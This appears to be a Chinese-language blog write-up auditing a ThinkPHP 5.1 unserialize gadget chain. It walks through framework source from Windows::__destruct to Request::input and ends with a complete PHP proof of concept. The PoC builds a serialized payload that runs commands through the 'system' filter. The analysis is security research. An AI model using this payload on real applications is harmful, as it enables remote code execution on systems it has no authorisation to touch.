# 前言
整个流程理解上可能不是很复杂,但我感觉想把整个 exp 写下来还是有点复杂的,中间 debug 的过程还是需要花时间去考究的。
# 代码审计
入口点依然是 windows.php
下的 __destruct
1 2
| #[Pure(true)] function file_exists(string $filename): bool {}
|
file_exists
会将文件名当做字符串,这里接着寻找 __toString
方法
在 5.0 版本是在 Model
类
在 5.1 版本是在 Conversion
类
一路跟进到 toArray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| public function toArray() { $item = []; $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } }
foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } }
$item[$key] = $relation ? $relation->append([$attr])->toArray() : []; } else { $item[$name] = $this->getAttr($name, $item); } } }
return $item; }
|
其中我们来看这段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } }
|
这里按照之前 5.0 的写法看,这里的几个参数都是可控的
getRelation
1 2 3 4 5 6 7 8 9
| public function getRelation($name = null) { if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; }
|
这里我们是可以返回空
并且 append
是可控的
getAttr
1 2 3 4 5 6 7 8 9
| public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; }
|
这里通过 data[]
返回后续利用类的对象 (Request)
在 5.0 中我们说这里的几个调用方法可以触发 __call
方法
这里我们选择则 visible
来触发 __call
找下可以利用的方法
在 Request
中
1 2 3 4 5 6 7 8 9
| public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); }
throw new Exception('method not exists:' . static::class . '->' . $method); }
|
首先会判断方法中有没有设置 hook
,然后把 this
关键字放在之执行参数的前面,所以这里对于方法是不可控的
所以在该类下寻找可以后续利用的方法
isAjax
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) { return $result; }
$result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
|
这里的配置信息是可控的
接着跟进 param
param
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true);
switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; }
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true; }
if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter); }
return $this->input($this->param, $name, $default, $filter); }
|
input
下 array_walk_recursive
参数都是可控的
下面就可以构造了
这里 Conversion
和 Attribute
都是 trait 关键字,不能直接实例化
需要去找继承类,要是用 use 关键字,并且同时继承了 Conversion
和 Attribute
Model
类
1 2 3 4 5 6 7
| abstract class Model implements \JsonSerializable, \ArrayAccess { use model\concern\Attribute; use model\concern\RelationShip; use model\concern\ModelEvent; use model\concern\TimeStamp; use model\concern\Conversion;
|
但是 Model
是抽象类,还是不能直接实例化
需要找到其抽象的子类 Pivot
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php
namespace think; class Request{ protected $hook = []; protected $filter = "system"; protected $config = [ 'var_method' => '_method', 'var_ajax' => '_ajax', 'var_pjax' => '_pjax', 'var_pathinfo' => 's', 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], 'default_filter' => '', 'url_domain_root' => '', 'https_agent_name' => '', 'http_agent_ip' => 'HTTP_X_REAL_IP', 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'huha']; $this->hook = ["visible"=>[$this,"isAjax"]]; } }
abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["huha"=>[]]; $this->data = ["huha"=>new Request()]; } }
namespace think\model;
use think\Model;
class Pivot extends Model { }
namespace think\process\pipes; use think\model\Pivot;
class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } }
echo base64_encode(serialize(new Windows()));
|